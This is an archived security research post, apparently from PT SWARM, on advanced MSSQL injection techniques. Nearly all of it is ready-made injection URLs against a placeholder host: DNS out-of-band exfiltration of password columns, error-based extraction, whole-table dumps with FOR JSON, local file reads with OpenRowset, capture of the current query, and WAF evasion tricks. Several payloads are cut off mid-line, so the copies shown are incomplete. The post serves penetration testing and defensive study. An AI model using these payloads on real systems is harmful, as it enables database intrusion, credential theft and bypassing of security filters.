

Advanced MSSQL Injection Tricks

Advanced MSSQL Injection Tricks - PT SWARM Team, @ptswarm, PT SWARM.

- Published: date not stated
- Original: <<https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/>>
- Preserved from: <https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/> (stored) on 2026-08-09
- Licence: unknown

Rights remain with the original author and publisher. This is a research archive of a source from the Web Hacking Techniques Index collections, kept so the page going offline. To read the original, follow the link above.

Content

UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

We compiled a list of several techniques for improved exploitation of MSSQL injections. All the vectors have been tested on at least three of the latest versions of Microsoft SQL Server: 2019, 2017, 2016SP2.

DNS Out-of-Band

If confronted with a fully blind SQL injection with **disabled** stacked queries, it's possible to attain DNS out-of-band (OOB) data exfiltration via the functions `fn_xe_file_target_read_file`, `fn_get_audit_file`, and `fn_trace_gettable`.

`fn_xe_file_target_read_file()` example:

```
https://vuln.app/getItem?id= 1+and+exists(select+*+from+fn_xe_file_target_read_file('C:\*.xel','\'%2b(select+pass+from
```

!

Permissions: Requires VIEW SERVER STATE permission on the server.

`fn_get_audit_file()` example:

```
https://vuln.app/getItem?id= 1%2b(select+1+where+exists(select+*+from+fn_get_audit_file('\'%2b(select+pass+from+u
```

!

Permissions: Requires the CONTROL SERVER permission.

`fn_trace_gettable()` example:

```
https://vuln.app/getItem?id=1+and+exists(select+*+from+fn_trace_gettable('\'%2b(select+pass+from+users+where+ic
```

!

Permissions: Requires the CONTROL SERVER permission.

Alternative Error-Based vectors

Error-based SQL injections typically resemble constructions such as «+AND+1=@@version-» and variants based on the «OR» operator. Queries containing such expressions are usually blocked by WAFs. As a bypass, concatenate a string using the %2b character with the result of specific function calls that trigger a data type conversion error on sought-after data.

Some examples of such functions:

- `SUSER_NAME()`
- `USER_NAME()`
- `PERMISSIONS()`
- `DB_NAME()`
- `FILE_NAME()`
- `TYPE_NAME()`
- `COL_NAME()`

Example use of function `USER_NAME()` :

```
https://vuln.app/getItem?id=1'%2buser_name(@@version)--
```

!

Quick exploitation: Retrieve an entire table in one query

There exist two simple ways to retrieve the entire contents of a table in one query — the use of the FOR XML or the FOR JSON clause. The FOR XML clause requires a specified mode such as «raw», so in terms of brevity FOR JSON outperforms it.

The query to retrieve the schema, tables and columns from the current database:

```
https://vuln.app/getItem?id=-1'+union+select+null,concat_ws(0x3a,table_schema,table_name,column_name),null+from
```

!

Error-based vectors need an alias or a name, since the output of expressions without either cannot be formatted as JSON.

```
https://vuln.app/getItem?id=1'+and+1=(select+concat_ws(0x3a,table_schema,table_name,column_name)a+from+inform
```

!

Reading local files

An example of retrieving a local file `C:\Windows\win.ini` using the function `OpenRowset()`:

```
https://vuln.app/getItem?id=-1+union+select+null,(select+x+from+OpenRowset(BULK+'C:\Windows\win.ini',SINGLE_CLOB
```

!

Error-based vector:

```
https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\win.ini',SINGLE_CLOB)+R(x))--
```

Permissions: The BULK option requires the ADMINISTER BULK OPERATIONS or the ADMINISTER DATABASE BULK OPERATIONS permission.

Retrieving the current query

The current SQL query being executed can be retrieved from access `sys.dm_exec_requests` and `sys.dm_exec_sql_text` :

```
https://vuln.app/getItem?id=-1%20union%20select%20null,(select+text+from+sys.dm_exec_requests+cross+apply+sys.
```

!

Permissions: If the user has VIEW SERVER STATE permission on the server, the user will see all executing sessions on the instance of SQL Server; otherwise, the user will see only the current session.

Little tricks for WAF bypasses

Non-standard whitespace characters: `%C2%85` или `%C2%A0`:

```
https://vuln.app/getItem?id=1%C2%85union%C2%85select%C2%A0null,@@version,null--
```

Scientific (0e) and hex (0x) notation for obfuscating UNION:

```
https://vuln.app/getItem?id=0eunion+select+null,@@version,null--  
https://vuln.app/getItem?id=0xunion+select+null,@@version,null--
```

A period instead of a whitespace between FROM and a column name:

```
https://vuln.app/getItem?id=1+union+select+null,@@version,null+from.users--
```

\N separator between SELECT and a throwaway column:

```
https://vuln.app/getItem?id=0xunion+select\Nnull,@@version,null+from+users--
```

Archived from <https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/>. Rendered offline from the local Markdown copy.